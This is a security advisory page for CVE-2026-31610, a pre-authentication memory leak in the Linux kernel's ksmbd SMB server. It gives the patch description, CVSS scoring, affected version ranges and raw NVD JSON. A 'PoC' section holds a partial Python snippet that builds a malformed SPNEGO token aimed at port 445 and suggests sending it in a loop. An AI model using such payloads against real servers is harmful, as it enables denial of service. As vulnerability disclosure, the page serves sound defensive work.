Security Vulnerability Report
中文
CVE-2026-31610 CVSS 5.5 MEDIUM

CVE-2026-31610

Published: 2026-04-24 15:16:40
Last Modified: 2026-04-29 16:51:03
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix mechToken leak when SPNEGO decode fails after token alloc The kernel ASN.1 BER decoder calls action callbacks incrementally as it walks the input. When ksmbd_decode_negTokenInit() reaches the mechToken [2] OCTET STRING element, ksmbd_neg_token_alloc() allocates conn->mechToken immediately via kmemdup_nul(). If a later element in the same blob is malformed, then the decoder will return nonzero after the allocation is already live. This could happen if mechListMIC [3] overrunse the enclosing SEQUENCE. decode_negotiation_token() then sets conn->use_spnego = false because both the negTokenInit and negTokenTarg grammars failed. The cleanup at the bottom of smb2_sess_setup() is gated on use_spnego: if (conn->use_spnego && conn->mechToken) { kfree(conn->mechToken); conn->mechToken = NULL; } so the kfree is skipped, causing the mechToken to never be freed. This codepath is reachable pre-authentication, so untrusted clients can cause slow memory leaks on a server without even being properly authenticated. Fix this up by not checking check for use_spnego, as it's not required, so the memory will always be properly freed. At the same time, always free the memory in ksmbd_conn_free() incase some other failure path forgot to free it.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (ksmbd enabled)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket from struct import pack # Define target IP and PORT (445) TARGET_IP = "192.168.1.10" PORT = 445 # Construct a malformed SPNEGO token to trigger the leak # We need a valid mechToken followed by a malformed mechListMIC # This is a simplified ASN.1 structure for demonstration mechToken = b"\x00" * 10 # Valid(ish) token data # Malformed sequence to cause decoder failure after mechToken allocation # Tag 0xA3 is mechListMIC. We make the length invalid or content malformed. mechListMIC_malformed = b"\xa3\xff" + b"\x00" * 100 spnego_blob = pack(">B", 0x60) # Application 0 Constructed (SEQUENCE) spnego_blob += pack(">B", len(mechToken) + len(mechListMIC_malformed) + 4) # Add mechToken context specific tag [2] spnego_blob += pack(">B", 0xa2) spnego_blob += pack(">B", len(mechToken)) spnego_blob += mechToken # Add malformed mechListMIC spnego_blob += mechListMIC_malformed # Note: A full exploit would require wrapping this in a valid SMB2 SESSION_SETUP request. # This snippet demonstrates the payload construction logic. print(f"Generated malformed SPNEGO token length: {len(spnego_blob)}") print(f"Token hex: {spnego_blob.hex()}") # In a real scenario, send this via Impacket or raw socket in a loop.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31610", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:40.257", "lastModified": "2026-04-29T16:51:02.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix mechToken leak when SPNEGO decode fails after token alloc\n\nThe kernel ASN.1 BER decoder calls action callbacks incrementally as it\nwalks the input. When ksmbd_decode_negTokenInit() reaches the mechToken\n[2] OCTET STRING element, ksmbd_neg_token_alloc() allocates\nconn->mechToken immediately via kmemdup_nul(). If a later element in\nthe same blob is malformed, then the decoder will return nonzero after\nthe allocation is already live. This could happen if mechListMIC [3]\noverrunse the enclosing SEQUENCE.\n\ndecode_negotiation_token() then sets conn->use_spnego = false because\nboth the negTokenInit and negTokenTarg grammars failed. The cleanup at\nthe bottom of smb2_sess_setup() is gated on use_spnego:\n\n\tif (conn->use_spnego && conn->mechToken) {\n\t\tkfree(conn->mechToken);\n\t\tconn->mechToken = NULL;\n\t}\n\nso the kfree is skipped, causing the mechToken to never be freed.\n\nThis codepath is reachable pre-authentication, so untrusted clients can\ncause slow memory leaks on a server without even being properly\nauthenticated.\n\nFix this up by not checking check for use_spnego, as it's not required,\nso the memory will always be properly freed. At the same time, always\nfree the memory in ksmbd_conn_free() incase some other failure path\nforgot to free it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.6.136", "matchCriteriaId": "B1ABA9F0-A5C4-4CBE-92EC-33CA7D4F7634"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/269c800a7a7e363459291885b35f7bc72e231ed6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6c8c44e6553b9f072f62d9875e567766eb293162", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/745a535461bbb90a56d9357573c9f97a5c12abe1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ad0057fb91218914d6c98268718ceb9d59b388e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd53414e301beb915fe672dc4c4a51bafb917604", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd577cb55588ec3fbc66af3621280306601c4192", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}